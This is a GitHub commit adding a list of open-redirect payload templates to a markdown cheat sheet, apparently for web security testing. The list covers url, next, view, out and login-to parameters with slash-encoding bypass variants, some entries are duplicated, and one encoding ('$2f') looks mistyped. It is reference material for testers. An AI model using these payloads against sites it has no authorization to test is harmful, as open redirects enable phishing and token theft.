Update open-redirect.md

Added open redirect parameters
This commit is contained in:
003random 2017-10-25 20:19:49 +02:00 committed by GitHub
parent a03e983fbb
commit c60e6a2807

View file

@ -24,7 +24,139 @@
//google.com/%2f..
```
## Possible open redirect parameters
```
?url=http://{target}
```
```
?url=https://{target}
```
```
?next=http://{target}
```
```
?next=https://{target}
```
```
?url=https://{target}
```
```
?url=http://{target}
```
```
?url=//{target}
```
```
?url=$2f%2f{target}
```
```
?next=//{target}
```
```
?next=$2f%2f{target}
```
```
?url=//{target}
```
```
?url=$2f%2f{target}
```
```
?url=//{target}
```
```
/redirect/{target}
```
```
/cgi-bin/redirect.cgi?{target}
```
```
/out/{target}
```
```
/out?{target}
```
```
/out?/{target}
```
```
/out?//{target}
```
```
/out?/\{target}
```
```
/out?///{target}
```
```
?view={target}
```
```
?view=/{target}
```
```
?view=//{target}
```
```
?view=/\{target}
```
```
?view=///{target}
```
```
/login?to={target}
```
```
/login?to=/{target}
```
```
/login?to=//{target}
```
```
/login?to=/\{target}
```
```
/login?to=///{target}
```
**Open Redirect Payloads** by @cujanovic
https://github.com/cujanovic/Open-Redirect-Payloads
**Open Redirect Paramters** by @fuzzdb-project
https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/redirect/redirect-urls-template.txt